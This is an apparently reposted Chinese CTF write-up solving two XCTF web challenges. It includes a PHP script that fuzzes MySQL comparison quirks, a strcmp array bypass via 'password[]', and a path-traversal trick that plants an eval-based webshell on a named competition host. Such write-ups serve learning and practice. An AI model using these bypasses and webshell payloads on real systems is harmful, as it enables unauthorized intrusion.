前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XCTF两道web题目的writeup

XCTF两道web题目的writeup

作者头像
phith0n
发布2020-10-15 10:19:20
3900
发布2020-10-15 10:19:20
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

只会web正好又是php的审计题目,于是就把两道题都做了。大牛们都忙着破各种路由器,破各种设备去了,我也侥幸得了个第一:

QQ图片20141024184200.png
QQ图片20141024184200.png

第一题,没怎么截图,查看代码如下:

QQ图片20141025151017.jpg
QQ图片20141025151017.jpg

主要是考mysql的一个trick。就是查询出来的row['id']和id的区别。这么说可能有点不明白,我们用一下代码fuzz一下mysql:

代码语言:javascript
复制
<?php
mysql_connect("localhost","root","root");
mysql_select_db ("test");
mysql_query("set names utf8");
for($i = 0 ; $i < 256 ; $i++){
    $c = chr($i);
    $name = mysql_real_escape_string('hehe' . $c);
    $sql = "SELECT * FROM `name` WHERE `name` = '{$name}'";
    $row = mysql_fetch_array(mysql_query($sql));
    if ($row['name'] == 'hehe') {
        echo "{$c} <br/>";
    }
}

如果在name后面加上一个字符,在mysql里查询,如果查到的和不加这个字符查出来的行相同,则输出。

得到了如下结果:

001.jpg
001.jpg

我们随便挑一个跟在adog后面提交就能得到flag了。如下:

002.jpg
002.jpg
003.jpg
003.jpg

第二题,访问pwnme.php得到如下提示:

XCTF22.png
XCTF22.png

很快就明白了是要说明在php里=====的意义不同。我记得之前一个php的trick,我猜这里的代码是这样:strcmp($_POST[password], 'xxxx')==0。看一下php的strcmp文档就能知道:

XCTF142.png
XCTF142.png

所以传一个password[]=xxx即可得到如下页面:

XCTF175.png
XCTF175.png

访问可得到一段源码,yeah碰上我最爱的审计题了:

XCTF205.png
XCTF205.png

源码其实很简单,就是写入一个webshell,但文件名是跟当前秒数有关,所以大部分人想到要跑一下文件名。 当然,我这个人比较懒,能不能想个方法,不要跑这该死的文件名。

这道题没有过滤/和../,我可以直接做跳转,将时间作为目录名,再用../跳转到上个目录,这样我的文件就不带时间前缀了。 当然还要让php不出错,试了几次,数据包如下即可:

XCTF378.png
XCTF378.png

这样我的shell就为:http://106.120.92.162:5000/backup/".eval($_REQUEST[a]).php

XCTF453.png
XCTF453.png

不需要跑用户名。拿到shell了就读flag即可。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档